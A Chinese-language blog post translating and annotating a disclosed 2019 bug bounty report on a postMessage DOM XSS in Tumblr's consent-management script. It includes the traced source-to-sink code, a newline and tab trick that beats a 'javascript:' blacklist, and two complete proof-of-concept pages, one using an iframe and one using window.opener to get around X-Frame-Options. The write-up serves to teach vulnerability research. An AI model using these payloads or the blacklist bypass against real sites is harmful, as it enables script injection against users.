postMessageXss续2
原文地址如下:https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/
在19年我写了一篇文章,是基于postMessageXss漏洞的入门教学:https://www.cnblogs.com/piaomiaohongchen/p/14727871.html
这几天浏览mXss技术的时候,看到了一篇postMessaage的分析文章,觉得不错,遂翻译写成文章,每一次好的文章翻译,都是一次很好的学习的机会。生硬的translate,对技术提升没有任何帮助,这里我以第一视角代入翻译此篇文章,加入自己对漏洞的理解。
这篇文章的难点在于对source的构造。
正文内容如下:
在研究期间,我决定查看 tumblr.com 主页,计划是查看它是否处理任何 postMessages。我发现 cmpStub.min.js 文件中有一个有趣的函数,它不检查 postMessage 的来源。在模糊形式下,它如下所示:
var e = !1; function t(e) { var t = "string" == typeof e.data , n = e.data; if (t) try { n = JSON.parse(e.data) } catch (e) {} if (n && n.__cmpCall) { var r = n.__cmpCall; window.__cmp(r.command, r.parameter, function(n, o) { var a = { __cmpReturn: { returnValue: n, success: o, callId: r.callId } }; e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*") }) } }
为了方便理解,把代码丢入webstorm,webstorm会有高亮提醒:
通过我的截图标记,我们知道这是个套娃行为,他的可控source点的套娃行为如下:
e.data <- n <- n.__cmpCall <- r <- r.command && r.parameter
如果要本地模式这种套娃行为,那么这种source套娃模拟就是如下:
data= '{"name":"admin","list":{"test1":"test12","test2":"test2"},"age":16}' // data='123' var n = JSON.parse(data); console.log(n.list.test1)
两个逻辑处理分支:
(1)n = JSON.parse(e.data)
(2)window.__cmp(.,.,.xxx
第一个是使用parse函数把我们监听接收的数据从JSON 字符串转换为 JavaScript 对象,说明我们传递的source是个json字符串
source套娃点,会传入__cmp(函数,跟进这个函数:
if (e) return { init: function(e) { if (!l.a.isInitialized()) if ((p = e || {}).uiCustomParams = p.uiCustomParams || {}, p.uiUrl || p.organizationId) if (c.a.isSafeUrl(p.uiUrl)) { p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0), g.setGdpr("S"), g.setPublisherId(p.organizationId)), (t = p.sharedConsentDomain) && r.a.init(t), s.a.setCookieDomain(p.cookieDomain); var n = s.a.getGdprApplies(); !0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"), h(function(e) { e ? l.a.initializationComplete() : b(l.a.initializationComplete) }, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) { n || (e = !0), s.a.setIsUserInEU(e), e ? (g.setGdpr("L"), h(function(e) { e ? l.a.initializationComplete() : b(l.a.initializationComplete) }, !0)) : l.a.initializationComplete() }) } else c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http[s]://example.com/path/to/cmpui.html"'); // (...)
代码臭长臭长的,不要管,只要抓住重点
(1)在javascript中当出现n.x.y或者n.x.y.z说明是套娃+套娃,跟紧咬死source点
(2)寻找潜在风险函数
发现有个if逻辑判断,如果不为真,就else输出报错,那么这里要想办法让条件为真,跟进isSafeUrl函数:
isSafeUrl: function(e) { return -1 === (e = (e || "").replace(" ", "")).toLowerCase().indexOf("javascript:") }
正常我们写代码都是function isSafeUrl(x) 。这是两种不同的写法,效果类似,一种是对象方法定义,一种是直接函数说明。
这段逻辑代码很好理解:如果输入的字符串中不包含"javascript:",函数返回 true;如果包含,返回 false。
这里想返回真,那么我们就不能包含javascript:字符串,他这么做是为了防止xss攻击。做过一些代码审计的朋友应该都知道,使用包含这种黑名单的修复手法,是很危险的,是很容易被绕过的。
那么这里的包含,为后面的利用留下了伏笔。我们继续往下研究,假设我们不包含javascript:字符串,为真了,会触发下面的逻辑处理代码:
通过不断的debug进入逻辑处理函数,发现一个可疑逻辑处理函数
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
跟进b函数:
b = function(e) { g.markConsentRenderStartTime(); var n = p.uiUrl ? i.a : a.a; l.a.isInitialized() ? l.a.getConsentString(function(t, o) { p.consentString = t, n.renderConsents(p, function(n, t) { g.setType("C").setGdprConsent(n).fire(), w(n), "function" == typeof e && e(n, t) }) }) : n.renderConsents(p, function(n, t) { g.setType("C").setGdprConsent(n).fire(), w(n), "function" == typeof e && e(n, t) })
在这里,将触发真正的sink点:n.renderConsents(p, function(n, t) {,跟进对应函数:
sink: renderConsents: function(n, p) { if ((t = n || {}).siteDomain = window.location.origin, r = t.uiUrl) { if (p && u.push(p), !document.getElementById("cmp-container-id")) { (i = document.createElement("div")).id = "cmp-container-id", i.style.position = "fixed", i.style.background = "rgba(0,0,0,.5)", i.style.top = 0, i.style.right = 0, i.style.bottom = 0, i.style.left = 0, i.style.zIndex = 1e4, document.body.appendChild(i), (a = document.createElement("iframe")).style.position = "fixed", a.src = r, a.id = "cmp-ui-iframe", a.width = 0, a.height = 0, a.style.display = "block", a.style.border = 0, i.style.zIndex = 10001, l(),
(1)r = t.uiUrl 可控点
(2)a.src = r iframe src加载
通过阅读代码,很明显看出来这是个xss漏洞,我们可以本地模拟下这段攻击代码:
<script type="text/javascript"> a = document.createElement("iframe"); a.src="javascript:alert(1)"; //可控点 document.body.appendChild(a); </script>
因为前面的isSafeUrl函数判断,不允许包含javascript:字符串,包含就会报错不走相关sink函数,那么这里就需要利用下js的小tricks:
a = document.createElement("iframe"); a.src="\tjava\nscr\nipt:alert(1)"; //可控点 document.body.appendChild(a);
再次刷新:
在js中,src属性支持换行符,制表符等无害脏数据。这样我们就绕过了这个黑名单过滤函数。
对于最后的sink点位,原作者画出如下图:
这里我们需要学习老外的学习思路,漏洞挖掘中可以多画一些脑图,方便你去理解代码和理解业务逻辑。
最终的构造poc如下:
<html><body> <script> window.setInterval(function(e) { try { window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*"); } catch(e) {} }, 100); </script> <iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>
难点在于source套娃,容易绕晕。构造的poc,是比较常规的写法。前面已经讲了这个套娃怎么玩了,详见JSON.parse的函数定义。
其实到这里,这篇翻译文章算结束了。下面是扩展项:
只要页面不包含 X-Frame-Options 标题,它就不需要任何额外的用户交互,访问恶意网站就足够了。如果应用程序实现 X-Frame-Options 标头,则此漏洞将不允许攻击者构建目标页面。整个攻击需要在两个浏览器选项卡之间创建连接,以便通过window.opener传递postMessages,这也非常简单:
X-Frame-Options 是什么?
X-Frame-Options 是一个 HTTP 响应头,用于防止点击劫持攻击(clickjacking)。它控制一个网页是否可以在 <iframe> 中被嵌套,增强了安全性。以下是它的主要选项和含义: 不允许任何网页在 <iframe> 中嵌套当前页面。 http 复制代码 X-Frame-Options: DENY SAMEORIGIN: 只允许同源的网页在 <iframe> 中嵌套当前页面。也就是说,只有与当前页面相同源的网页可以嵌入。 http 复制代码 X-Frame-Options: SAMEORIGIN
因为postMessage xss漏洞需要加载当前网页地址,通过设置X-Frame-Options可以禁止嵌套网页:
那么对于这种情况,原文作者是如何绕过的?
<html><body> <script> function e() { window.setTimeout(function() { window.location.href="https://www.tumblr.com/embed/post/"; }, 500); } window.setInterval(function(e) { try { window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*"); } catch(e) {} }, 100); </script> <a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
这段代码绕过X-Frame-Options的核心概念如下:
攻击者需要在两个不同的浏览器选项卡之间建立连接。
这种连接允许攻击者在打开目标网站的选项卡中通过 window.opener 对象发送 postMessage 消息。
这种方式绕过了浏览器的安全策略,利用了在 window.opener 上发送消息的能力。
综上所述,理解这段话的关键点是:
如果没有正确配置 X-Frame-Options 标头的网页可能会受到攻击,因为其他网站可以在其页面中嵌入目标网页的iframe,从而执行潜在的恶意操作。
正确实现 X-Frame-Options 可以有效防止此类攻击。
攻击者利用两个浏览器选项卡之间的连接,通过 window.opener 发送 postMessage 消息,绕过浏览器的安全机制,执行攻击。
window.opener 将指向打开这个弹出窗口的主窗口
时间线:
07/10/2019 – 发现漏洞并同时向 Verizon Media 和 Tumblr 报告
07/10/2019 – 由 Tumblr 分类和修复
08/10/2019 – 由 Verizon Media 修复
09/10/2019 – Tumblr 奖励我 500 美元的赏金
26/10/2019 – Verizon Media 奖励我 500 美元的赏金
虽然这份报告只有500刀,但是个人学到了很多。好的文章超越了金钱本身。